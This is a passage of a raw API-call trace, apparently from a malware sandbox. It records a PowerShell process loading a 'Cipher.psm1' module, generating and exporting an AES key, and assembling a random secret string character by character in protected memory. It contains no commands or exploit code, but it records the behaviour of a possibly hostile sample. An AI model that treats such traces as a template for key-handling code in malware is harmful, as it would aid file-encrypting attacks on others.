Data4=([0]=0x30, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.888] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0127.888] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0127.888] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.888] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.888] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.889] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x4396b48) returned 1 [0127.889] CryptGenKey (in: hProv=0x4396b48, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e84bf8) returned 1 [0127.889] CryptContextAddRef (hProv=0x4396b48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.889] CryptExportKey (in: hKey=0x8e84bf8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0127.889] CryptExportKey (in: hKey=0x8e84bf8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6adf9b0, pdwDataLen=0x99ae7f8 | out: pbData=0x6adf9b0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0127.889] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.890] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.890] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.890] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.890] SysStringLen (param_1="") returned 0x8 [0127.890] SysStringLen (param_1="y") returned 0x8 [0127.890] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.890] SysStringLen (param_1="\x6e82\x18be\xb6d7\xad35\xdede\x5f8d\xdf87\x322e") returned 0x8 [0127.890] SysStringLen (param_1="\x6e82\x18be\xb6d7\xad35\xdede\x5f8d\xdf87\x322e") returned 0x8 [0127.890] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.890] SysStringLen (param_1="y0") returned 0x8 [0127.890] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.890] SysStringLen (param_1="\xd416\x399c\x8045\x6367\xc547\x49a7\xa08e\xc346") returned 0x8 [0127.890] SysStringLen (param_1="\xd416\x399c\x8045\x6367\xc547\x49a7\xa08e\xc346") returned 0x8 [0127.890] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.890] SysStringLen (param_1="y08") returned 0x8 [0127.890] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.890] SysStringLen (param_1="\x88b\xf10e\xb53a\x3c8\x5d64\x8909\x8c38\x905c") returned 0x8 [0127.890] SysStringLen (param_1="\x88b\xf10e\xb53a\x3c8\x5d64\x8909\x8c38\x905c") returned 0x8 [0127.890] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.891] SysStringLen (param_1="y08C") returned 0x8 [0127.891] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.891] SysStringLen (param_1="\x7896\xcb54\xc66f\xcade\xabaf\x589f\xfd6e\x2708") returned 0x8 [0127.891] SysStringLen (param_1="\x7896\xcb54\xc66f\xcade\xabaf\x589f\xfd6e\x2708") returned 0x8 [0127.891] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.891] SysStringLen (param_1="y08Cc") returned 0x8 [0127.891] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.891] SysStringLen (param_1="\x75d8\x9069\x5449\x1db6\x7511\x788d\x88ed\xc275") returned 0x8 [0127.891] SysStringLen (param_1="\x75d8\x9069\x5449\x1db6\x7511\x788d\x88ed\xc275") returned 0x8 [0127.891] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.891] SysStringLen (param_1="y08Cc4") returned 0x8 [0127.891] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.891] SysStringLen (param_1="\xa57f\x72cf\x370f\x7500\x88f2\x1342\xf4b1\xeb1c") returned 0x8 [0127.891] SysStringLen (param_1="\xa57f\x72cf\x370f\x7500\x88f2\x1342\xf4b1\xeb1c") returned 0x8 [0127.891] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.891] SysStringLen (param_1="y08Cc4R") returned 0x8 [0127.891] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.891] SysStringLen (param_1="\xcc30\x4892\x489\x63fb\x67ec\x8985\x1b88\x28e2") returned 0x8 [0127.891] SysStringLen (param_1="\xcc30\x4892\x489\x63fb\x67ec\x8985\x1b88\x28e2") returned 0x8 [0127.891] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.891] SysStringLen (param_1="y08Cc4Rz") returned 0x8 [0127.891] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.892] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404") returned 0x8 [0127.892] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404") returned 0x8 [0127.892] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404") returned 0x8 [0127.892] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404") returned 0x10 [0127.892] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.892] SysStringLen (param_1="y08Cc4Rzw斘憖㝽穩䊝鞲铗") returned 0x10 [0127.892] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.892] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xbd5c\xc134\xfa0b\x8b98\xa7a0\xd1fd\x488f\x521c") returned 0x10 [0127.892] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xbd5c\xc134\xfa0b\x8b98\xa7a0\xd1fd\x488f\x521c") returned 0x10 [0127.892] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.892] SysStringLen (param_1="y08Cc4RzwV憖㝽穩䊝鞲铗") returned 0x10 [0127.892] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.892] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xbbd\x865b\xbd8\x8eda\x6e0e\x21f1\x7b10\x45b6") returned 0x10 [0127.892] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xbbd\x865b\xbd8\x8eda\x6e0e\x21f1\x7b10\x45b6") returned 0x10 [0127.892] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.892] SysStringLen (param_1="y08Cc4RzwVJ㝽穩䊝鞲铗") returned 0x10 [0127.892] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.892] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\x7cf5\xf36d\xb275\xbdee\x75ee\x68fb\x4023\x15e5") returned 0x10 [0127.892] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\x7cf5\xf36d\xb275\xbdee\x75ee\x68fb\x4023\x15e5") returned 0x10 [0127.892] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.892] SysStringLen (param_1="y08Cc4RzwVJP穩䊝鞲铗") returned 0x10 [0127.892] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.892] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\x1607\x652e\xca72\x15e6\x529b\x575a\x1caf\x6b0b") returned 0x10 [0127.893] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\x1607\x652e\xca72\x15e6\x529b\x575a\x1caf\x6b0b") returned 0x10 [0127.893] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.893] SysStringLen (param_1="y08Cc4RzwVJPN䊝鞲铗") returned 0x10 [0127.893] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.893] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xaa36\xce89\xf01a\xeb66\xe9eb\x2ff\xfe29\x3fc6") returned 0x10 [0127.893] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xaa36\xce89\xf01a\xeb66\xe9eb\x2ff\xfe29\x3fc6") returned 0x10 [0127.893] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.893] SysStringLen (param_1="y08Cc4RzwVJPNT鞲铗") returned 0x10 [0127.893] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.893] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\x1a2e\x62cb\x900d\x7a16\x3c3d\x68d0\xaa63\xeed4") returned 0x10 [0127.893] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\x1a2e\x62cb\x900d\x7a16\x3c3d\x68d0\xaa63\xeed4") returned 0x10 [0127.893] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.893] SysStringLen (param_1="y08Cc4RzwVJPNT2铗") returned 0x10 [0127.893] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.893] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\x7da2\x4ae6\xa360\x9c40\x75ef\xe8d2\x5ed1\x7fa5") returned 0x10 [0127.893] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\x7da2\x4ae6\xa360\x9c40\x75ef\xe8d2\x5ed1\x7fa5") returned 0x10 [0127.893] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.893] SysStringLen (param_1="y08Cc4RzwVJPNT2g") returned 0x10 [0127.893] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.893] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09") returned 0x10 [0127.893] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09") returned 0x10 [0127.893] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09") returned 0x10 [0127.893] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09") returned 0x18 [0127.893] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.894] SysStringLen (param_1="y08Cc4RzwVJPNT2gx׺ΊКﺐ퍃꿚") returned 0x18 [0127.894] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.894] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\x7e71\x5aa1\x2687\xf2db\xb85\xa1dc\xae1c\x1878") returned 0x18 [0127.894] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\x7e71\x5aa1\x2687\xf2db\xb85\xa1dc\xae1c\x1878") returned 0x18 [0127.894] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.894] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2ΊКﺐ퍃꿚") returned 0x18 [0127.894] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.894] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\x68c9\xb8ba\x166a\xbde0\x116\x1e8c\xf865\x4237") returned 0x18 [0127.894] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\x68c9\xb8ba\x166a\xbde0\x116\x1e8c\xf865\x4237") returned 0x18 [0127.894] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.894] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DКﺐ퍃꿚") returned 0x18 [0127.894] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.895] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa1df\x7a92\x9b0a\xebc5\xabff\xb810\x89f7\x4fd4") returned 0x18 [0127.895] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa1df\x7a92\x9b0a\xebc5\xabff\xb810\x89f7\x4fd4") returned 0x18 [0127.895] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.895] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZКﺐ퍃꿚") returned 0x18 [0127.895] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.895] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xfac9\xe88b\x5245\xa1e2\x1ae9\x3441\xb697\x759c") returned 0x18 [0127.895] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xfac9\xe88b\x5245\xa1e2\x1ae9\x3441\xb697\x759c") returned 0x18 [0127.895] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.895] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDﺐ퍃꿚") returned 0x18 [0127.895] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.896] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\x25e6\x1bdc\xfa68\x5eb\xa38b\x9a73\x3710\x381f") returned 0x18 [0127.896] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\x25e6\x1bdc\xfa68\x5eb\xa38b\x9a73\x3710\x381f") returned 0x18 [0127.896] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.896] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJ퍃꿚") returned 0x18 [0127.896] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.896] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xdc8a\xbd1a\x8d4e\x7f50\xce32\x81dd\x3774\x2ea8") returned 0x18 [0127.896] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xdc8a\xbd1a\x8d4e\x7f50\xce32\x81dd\x3774\x2ea8") returned 0x18 [0127.896] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.896] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJC꿚") returned 0x18 [0127.896] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.896] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\x9d0e\x5f9d\x7a52\xc38\x856d\x7437\x8165\xaade") returned 0x18 [0127.896] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\x9d0e\x5f9d\x7a52\xc38\x856d\x7437\x8165\xaade") returned 0x18 [0127.896] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.896] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCv") returned 0x18 [0127.896] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.896] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7") returned 0x18 [0127.896] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7") returned 0x18 [0127.896] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7") returned 0x18 [0127.897] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7") returned 0x20 [0127.897] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.897] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvk쎽㾻⋁篸ᴒ抮㕴") returned 0x20 [0127.897] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.897] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\xc060\x91a4\xe1f1\x2c5c\x522\x363d\xb876\xf7a3") returned 0x20 [0127.897] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\xc060\x91a4\xe1f1\x2c5c\x522\x363d\xb876\xf7a3") returned 0x20 [0127.897] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.897] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkM㾻⋁篸ᴒ抮㕴") returned 0x20 [0127.897] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.897] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x175b\x3647\x1cb5\x3f1d\xee0c\xf09d\x70e4\x575c") returned 0x20 [0127.897] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x175b\x3647\x1cb5\x3f1d\xee0c\xf09d\x70e4\x575c") returned 0x20 [0127.897] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.897] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkML⋁篸ᴒ抮㕴") returned 0x20 [0127.897] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.897] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\xd856\x80cd\x4bcb\xf83e\xe0a7\x96c9\xa34b\xb71a") returned 0x20 [0127.897] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\xd856\x80cd\x4bcb\xf83e\xe0a7\x96c9\xa34b\xb71a") returned 0x20 [0127.897] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.898] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLM篸ᴒ抮㕴") returned 0x20 [0127.898] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.898] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x322c\x2be6\x3e8\x2bb0\xe40\x1285\x8cd\x7b0c") returned 0x20 [0127.898] SysStringLen (param_1="\xb91f\x65b2\x12de\x367b\xbea9\x5608\xd249\xa404\xb153\x5d0\x6c93\xe593\xc0da\xea05\x96b8\x9f09\xa56f\xc397\x4cf3\x23c7\xbf38\x987\x2755\x5a7\x322c\x2be6\x3e8\x2bb0\xe40\x1285\x8cd\x7b0c") returned 0x20 [0127.898] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.898] SysStringLen (param_1="y08Cc4RzwVJPNT2gx2DZDJCvkMLMHᴒ抮㕴") returned 0x20 [0127.898] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.898] SysStringLen 